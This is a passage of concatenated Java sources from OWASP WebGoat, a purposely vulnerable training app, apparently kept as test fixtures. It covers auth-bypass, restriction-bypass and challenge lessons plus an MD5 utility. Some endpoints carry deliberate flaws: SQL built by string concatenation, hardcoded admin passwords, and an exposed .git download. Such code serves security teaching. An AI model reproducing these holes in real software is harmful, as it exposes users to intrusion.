"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4" }) public class VerifyAccount extends AssignmentEndpoint { @Autowired private WebSession webSession; @Autowired UserSessionData userSessionData; @PostMapping( path = "/auth-bypass/verify-account", produces = {"application/json"}) @ResponseBody public AttackResult completed( @RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException { AccountVerificationHelper verificationHelper = new AccountVerificationHelper(); Map submittedAnswers = parseSecQuestions(req); if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) { return failed(this) .feedback("verify-account.cheated") .output("Yes, you guessed correctly, but see the feedback message") .build(); } // else if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) { userSessionData.setValue("account-verified-id", userId); return success(this).feedback("verify-account.success").build(); } else { return failed(this).feedback("verify-account.failed").build(); } } private HashMap parseSecQuestions(HttpServletRequest req) { Map userAnswers = new HashMap<>(); List paramNames = Collections.list(req.getParameterNames()); for (String paramName : paramNames) { // String paramName = req.getParameterNames().nextElement(); if (paramName.contains("secQuestion")) { userAnswers.put(paramName, req.getParameter(paramName)); } } return (HashMap) userAnswers; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictions.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.bypassrestrictions; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; @Component public class BypassRestrictions extends Lesson { @Override public Category getDefaultCategory() { return Category.CLIENT_SIDE; } @Override public String getTitle() { return "bypass-restrictions.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFieldRestrictions.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.bypassrestrictions; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint { @PostMapping("/BypassRestrictions/FieldRestrictions") @ResponseBody public AttackResult completed( @RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput, @RequestParam String readOnlyInput) { if (select.equals("option1") || select.equals("option2")) { return failed(this).build(); } if (radio.equals("option1") || radio.equals("option2")) { return failed(this).build(); } if (checkbox.equals("on") || checkbox.equals("off")) { return failed(this).build(); } if (shortInput.length() <= 5) { return failed(this).build(); } if ("change".equals(readOnlyInput)) { return failed(this).build(); } return success(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/bypassrestrictions/BypassRestrictionsFrontendValidation.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.bypassrestrictions; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint { @PostMapping("/BypassRestrictions/frontendValidation") @ResponseBody public AttackResult completed( @RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) { final String regex1 = "^[a-z]{3}$"; final String regex2 = "^[0-9]{3}$"; final String regex3 = "^[a-zA-Z0-9 ]*$"; final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$"; final String regex5 = "^\\d{5}$"; final String regex6 = "^\\d{5}(-\\d{4})?$"; final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$"; if (error > 0) { return failed(this).build(); } if (field1.matches(regex1)) { return failed(this).build(); } if (field2.matches(regex2)) { return failed(this).build(); } if (field3.matches(regex3)) { return failed(this).build(); } if (field4.matches(regex4)) { return failed(this).build(); } if (field5.matches(regex5)) { return failed(this).build(); } if (field6.matches(regex6)) { return failed(this).build(); } if (field7.matches(regex7)) { return failed(this).build(); } return success(this).build(); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java ================================================ package org.owasp.webgoat.lessons.challenges; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; /** * @author nbaars * @since 3/21/17. */ public class ChallengeIntro extends Lesson { @Override public Category getDefaultCategory() { return Category.CHALLENGE; } @Override public String getTitle() { return "challenge0.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/Email.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.challenges; import java.io.Serializable; import java.time.LocalDateTime; import lombok.Builder; import lombok.Data; /** * @author nbaars * @since 8/20/17. */ @Builder @Data public class Email implements Serializable { private LocalDateTime time; private String contents; private String sender; private String title; private String recipient; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.challenges; import java.util.HashMap; import java.util.Map; import java.util.UUID; import java.util.stream.IntStream; import javax.annotation.PostConstruct; import lombok.AllArgsConstructor; import lombok.Getter; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.session.WebSession; import org.owasp.webgoat.container.users.UserTracker; import org.owasp.webgoat.container.users.UserTrackerRepository; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * @author nbaars * @since 3/23/17. */ @RestController public class Flag extends AssignmentEndpoint { public static final Map FLAGS = new HashMap<>(); @Autowired private UserTrackerRepository userTrackerRepository; @Autowired private WebSession webSession; @AllArgsConstructor private class FlagPosted { @Getter private boolean lessonCompleted; } @PostConstruct public void initFlags() { IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); } @RequestMapping( path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE) @ResponseBody public AttackResult postFlag(@RequestParam String flag) { UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName()); String currentChallenge = webSession.getCurrentLesson().getName(); int challengeNumber = Integer.valueOf( currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length())); String expectedFlag = FLAGS.get(challengeNumber); final AttackResult attackResult; if (expectedFlag.equals(flag)) { userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber); attackResult = success(this).feedback("challenge.flag.correct").build(); } else { userTracker.assignmentFailed(webSession.getCurrentLesson()); attackResult = failed(this).feedback("challenge.flag.incorrect").build(); } userTrackerRepository.save(userTracker); return attackResult; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.challenges; /** * Interface with constants so we can easily change the flags * * @author nbaars * @since 3/23/17. */ public interface SolutionConstants { // TODO should be random generated when starting the server String PASSWORD = "!!webgoat_admin_1234!!"; String PASSWORD_TOM = "thisisasecretfortomonly"; String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge1; import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD; import javax.servlet.http.HttpServletRequest; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.challenges.Flag; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; /** * ************************************************************************************************ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * *

Copyright (c) 2002 - 2014 Bruce Mayhew * *

This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * *

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * *

You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * *

Getting Source ============== * *

Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository * for free software projects. * *

* * @author WebGoat * @version $Id: $Id * @since August 11, 2016 */ @RestController public class Assignment1 extends AssignmentEndpoint { @PostMapping("/challenge/1") @ResponseBody public AttackResult completed( @RequestParam String username, @RequestParam String password, HttpServletRequest request) { boolean ipAddressKnown = true; boolean passwordCorrect = "admin".equals(username) && PASSWORD .replace("1234", String.format("%04d", ImageServlet.PINCODE)) .equals(password); if (passwordCorrect && ipAddressKnown) { return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build(); } else if (passwordCorrect) { return failed(this).feedback("ip.address.unknown").build(); } return failed(this).build(); } public static boolean containsHeader(HttpServletRequest request) { return StringUtils.hasText(request.getHeader("X-Forwarded-For")); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge1; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author nbaars * @since 3/21/17. */ @Component public class Challenge1 extends Lesson { @Override public Category getDefaultCategory() { return Category.CHALLENGE; } @Override public String getTitle() { return "challenge1.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge1; import static org.springframework.web.bind.annotation.RequestMethod.GET; import static org.springframework.web.bind.annotation.RequestMethod.POST; import java.io.IOException; import java.security.SecureRandom; import javax.servlet.http.HttpServlet; import org.springframework.core.io.ClassPathResource; import org.springframework.http.MediaType; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class ImageServlet extends HttpServlet { private static final long serialVersionUID = 9132775506936676850L; public static final int PINCODE = new SecureRandom().nextInt(10000); @RequestMapping( method = {GET, POST}, value = "/challenge/logo", produces = MediaType.IMAGE_PNG_VALUE) @ResponseBody public byte[] logo() throws IOException { byte[] in = new ClassPathResource("lessons/challenges/images/webgoat2.png") .getInputStream() .readAllBytes(); String pincode = String.format("%04d", PINCODE); in[81216] = (byte) pincode.charAt(0); in[81217] = (byte) pincode.charAt(1); in[81218] = (byte) pincode.charAt(2); in[81219] = (byte) pincode.charAt(3); return in; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.challenges.challenge5; import java.sql.PreparedStatement; import java.sql.ResultSet; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.LessonDataSource; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.challenges.Flag; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController @Slf4j public class Assignment5 extends AssignmentEndpoint { private final LessonDataSource dataSource; public Assignment5(LessonDataSource dataSource) { this.dataSource = dataSource; } @PostMapping("/challenge/5") @ResponseBody public AttackResult login( @RequestParam String username_login, @RequestParam String password_login) throws Exception { if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { return failed(this).feedback("required4").build(); } if (!"Larry".equals(username_login)) { return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build(); } try (var connection = dataSource.getConnection()) { PreparedStatement statement = connection.prepareStatement( "select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'"); ResultSet resultSet = statement.executeQuery(); if (resultSet.next()) { return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build(); } else { return failed(this).feedback("challenge.close").build(); } } } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Challenge5.java ================================================ /* * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2019 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. */ package org.owasp.webgoat.lessons.challenges.challenge5; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author nbaars * @since 3/21/17. */ @Component public class Challenge5 extends Lesson { @Override public Category getDefaultCategory() { return Category.CHALLENGE; } @Override public String getTitle() { return "challenge5.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Assignment7.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge7; import java.net.URI; import java.net.URISyntaxException; import java.time.LocalDateTime; import javax.servlet.http.HttpServletRequest; import lombok.extern.slf4j.Slf4j; import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.lessons.challenges.Email; import org.owasp.webgoat.lessons.challenges.Flag; import org.owasp.webgoat.lessons.challenges.SolutionConstants; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.beans.factory.annotation.Value; import org.springframework.core.io.ClassPathResource; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.client.RestTemplate; /** * @author nbaars * @since 4/8/17. */ @RestController @Slf4j public class Assignment7 extends AssignmentEndpoint { private static final String TEMPLATE = "Hi, you requested a password reset link, please use this link to reset your" + " password.\n" + " \n\n" + "If you did not request this password change you can ignore this message.\n" + "If you have any comments or questions, please do not hesitate to reach us at" + " support@webgoat-cloud.org\n\n" + "Kind regards, \n" + "Team WebGoat"; @Autowired private RestTemplate restTemplate; @Value("${webwolf.mail.url}") private String webWolfMailURL; @GetMapping("/challenge/7/reset-password/{link}") public ResponseEntity resetPassword(@PathVariable(value = "link") String link) { if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) { return ResponseEntity.accepted() .body( "

Success!!

" + "" + "

Here is your flag: " + "" + Flag.FLAGS.get(7) + ""); } return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT) .body("That is not the reset link for admin"); } @PostMapping("/challenge/7") @ResponseBody public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) throws URISyntaxException { if (StringUtils.hasText(email)) { String username = email.substring(0, email.indexOf("@")); if (StringUtils.hasText(username)) { URI uri = new URI(request.getRequestURL().toString()); Email mail = Email.builder() .title("Your password reset link for challenge 7") .contents( String.format( TEMPLATE, uri.getScheme() + "://" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, "webgoat"))) .sender("password-reset@webgoat-cloud.net") .recipient(username) .time(LocalDateTime.now()) .build(); restTemplate.postForEntity(webWolfMailURL, mail, Object.class); } } return success(this).feedback("email.send").feedbackArgs(email).build(); } @GetMapping(value = "/challenge/7/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) @ResponseBody public ClassPathResource git() { return new ClassPathResource("challenge7/git.zip"); } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/Challenge7.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge7; import org.owasp.webgoat.container.lessons.Category; import org.owasp.webgoat.container.lessons.Lesson; import org.springframework.stereotype.Component; /** * @author nbaars * @since 3/21/17. */ @Component public class Challenge7 extends Lesson { @Override public Category getDefaultCategory() { return Category.CHALLENGE; } @Override public String getTitle() { return "challenge7.title"; } } ================================================ FILE: src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/challenges/challenge7/MD5.java ================================================ package org.owasp.webgoat.lessons.challenges.challenge7; import java.io.File; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStream; import java.io.UnsupportedEncodingException; /** * MD5 hash generator. More information about this class is available from ostermiller.org. * *

This class takes as input a message of arbitrary length and produces as output a 128-bit * "fingerprint" or "message digest" of the input. It is conjectured that it is computationally * infeasible to produce two messages having the same message digest, or to produce any message * having a given pre-specified target message digest. The MD5 algorithm is intended for digital * signature applications, where a large file must be "compressed" in a secure manner before being * encrypted with a private (secret) key under a public-key cryptosystem such as RSA. * *

For more information see RFC1321. * * @author Santeri Paavolainen http://santtu.iki.fi/md5/ * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities * @since ostermillerutils 1.00.00 */ public class MD5 { /** * Class constructor * * @since ostermillerutils 1.00.00 */ public MD5() { reset(); } /** * Command line program that will take files as arguments and output the MD5 sum for each file. * * @param args command line arguments * @since ostermillerutils 1.00.00 */ public static void main(String[] args) { if (args.length == 0) { System.err.println("Please specify a file."); } else { for (String element : args) { try { System.out.println(MD5.getHashString(new File(element)) + " " + element); } catch (IOException x) { System.err.println(x.getMessage()); } } } } /** * Gets this hash sum as an array of 16 bytes. * * @return Array of 16 bytes, the hash of all updated bytes. * @since ostermillerutils 1.00.00 */ public byte[] getHash() { if (!finalState.valid) { finalState.copy(workingState); long bitCount = finalState.bitCount; // Compute the number of left over bits int leftOver = (int) (((bitCount >>> 3)) & 0x3f); // Compute the amount of padding to add based on number of left over bits. int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver); // add the padding update(finalState, padding, 0, padlen); // add the length (computed before padding was added) update(finalState, encode(bitCount), 0, 8); finalState.valid = true; } // make a copy of the hash before returning it. return encode(finalState.state, 16); } /** * Returns 32-character hex representation of this hash. * * @return String representation of this object's hash. * @since ostermillerutils 1.00.00 */ public String getHashString() { return toHex(this.getHash()); } /** * Gets the MD5 hash of the given byte array. * * @param b byte array for which an MD5 hash is desired. * @return Array of 16 bytes, the hash of all updated bytes. * @since ostermillerutils 1.00.00 */ public static byte[] getHash(byte[] b) { MD5 md5 = new MD5(); md5.update(b); return md5.getHash(); } /** * Gets the MD5 hash of the given byte array. * * @param b byte array for which an MD5 hash is desired. * @return 32-character hex representation the data's MD5 hash. * @since ostermillerutils 1.00.00 */ public static String getHashString(byte[] b) { MD5 md5 = new MD5(); md5.update(b); return md5.getHashString(); } /** * Gets the MD5 hash the data on the given InputStream. * * @param in byte array for which an MD5 hash is desired. * @return Array of 16 bytes, the hash of all updated bytes. * @throws IOException if an I/O error occurs. * @since ostermillerutils 1.00.00 */ public static byte[] getHash(InputStream in) throws IOException { MD5 md5 = new MD5(); byte[] buffer = new byte[1024]; int read; while ((read = in.read(buffer)) != -1) { md5.update(buffer, read); } return md5.getHash(); } /** * Gets the MD5 hash the data on the given InputStream. * * @param in byte array for which an MD5 hash is desired. * @return 32-character hex representation the data's MD5 hash. * @throws IOException if an I/O error occurs. * @since ostermillerutils 1.00.00 */ public static String getHashString(InputStream in) throws IOException { MD5 md5 = new MD5(); byte[] buffer = new byte[1024]; int read; while ((read = in.read(buffer)) != -1) { md5.update(buffer, read); } return md5.getHashString(); } /** * Gets the MD5 hash of the given file. * * @param f file for which an MD5 hash is desired. * @return Array of 16 bytes, the hash of all updated bytes. * @throws IOException if an I/O error occurs. * @since ostermillerutils 1.00.00 */ public static byte[] getHash(File f) throws IOException { byte[] hash = null; try (InputStream is = new FileInputStream(f)) { hash = getHash(is); } return hash; } /** * Gets the MD5 hash of the given file. * * @param f file array for which an MD5 hash is desired. * @return 32-character hex representation the data's MD5 hash. * @throws IOException if an I/O error occurs. * @since ostermillerutils 1.00.00 */ public static String getHashString(File f) throws IOException { String hash = null; try (InputStream is = new FileInputStream(f)) { hash = getHashString(is); } return hash; } /** * Gets the MD5 hash of the given String. The string is converted to bytes using the current * platform's default character encoding. * * @param s String for which an MD5 hash is desired. * @return Array of 16 bytes, the hash of all updated bytes. * @since ostermillerutils 1.00.00 */ public static byte[] getHash(String s) { MD5 md5 = new MD5(); md5.update(s); return md5.getHash(); } /** * Gets the MD5 hash of the given String. The string is converted to bytes using the current * platform's default character encoding. * * @param s String for which an MD5 hash is desired. * @return 32-character hex representation the data's MD5 hash. * @since ostermillerutils 1.00.00 */ public static String getHashString(String s) { MD5 md5 = new MD5(); md5.update(s); return md5.getHashString(); } /** * Gets the MD5 hash of the given String. * * @param s String for which an MD5 hash is desired. * @param enc The name of a supported character encoding. * @return Array of 16 bytes, the hash of all updated bytes. * @throws UnsupportedEncodingException If the named encoding is not supported. * @since ostermillerutils 1.00.00 */ public static byte[] getHash(String s, String enc) throws UnsupportedEncodingException { MD5 md5 = new MD5(); md5.update(s, enc); return md5.getHash(); } /** * Gets the MD5 hash of the given String. * * @param s String for which an MD5 hash is desired. * @param enc The name of a supported character encoding. * @return 32-character hex representation the data's MD5 hash. * @throws UnsupportedEncodingException If the named encoding is not supported. * @since ostermillerutils 1.00.00 */ public static String getHashString(String s, String enc) throws UnsupportedEncodingException { MD5 md5 = new MD5(); md5.update(s, enc); return md5.getHashString(); } /** * Reset the MD5 sum to its initial state. * * @since ostermillerutils 1.00.00 */ public void reset() { workingState.reset(); finalState.valid = false; } /** * Returns 32-character hex representation of this hash. * * @return String representation of this object's hash. * @since ostermillerutils 1.00.00 */ @Override public String toString() { return getHashString(); } /** * Update this hash with the given data. * *

A state may be passed into this method so that we can add padding and finalize a md5 hash * without limiting our ability to update more data later. * *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. * * @param state Which state is updated. * @param buffer Array of bytes to be hashed. * @param offset Offset to buffer array. * @param length number of bytes to hash. * @since ostermillerutils 1.00.00 */ private void update(MD5State state, byte buffer[], int offset, int length) { finalState.valid = false; // if length goes beyond the end of the buffer, cut it short. if ((length + offset) > buffer.length) { length = buffer.length - offset; } // compute number of bytes mod 64 // this is what we have sitting in a buffer // that have not been hashed yet int index = (int) (state.bitCount >>> 3) & 0x3f; // add the length to the count (translate bytes to bits) state.bitCount += length << 3; int partlen = 64 - index; int i = 0; if (length >= partlen) { System.arraycopy(buffer, offset, state.buffer, index, partlen); transform(state, decode(state.buffer, 64, 0)); for (i = partlen; (i + 63) < length; i += 64) { transform(state, decode(buffer, 64, i)); } index = 0; } // buffer remaining input if (i < length) { for (int start = i; i < length; i++) { state.buffer[index + i - start] = buffer[i + offset]; } } } /** * Update this hash with the given data. * *

If length bytes are not available to be hashed, as many bytes as possible will be hashed. * * @param buffer Array of bytes to be hashed. * @param offset Offset to buffer array. * @param length number of bytes to hash. * @since ostermillerutils 1.00.00 */ public void update(byte buffer[], int offset, int length) { update(workingState, buffer, offset, length); } /** * Update this hash with the given data. * *

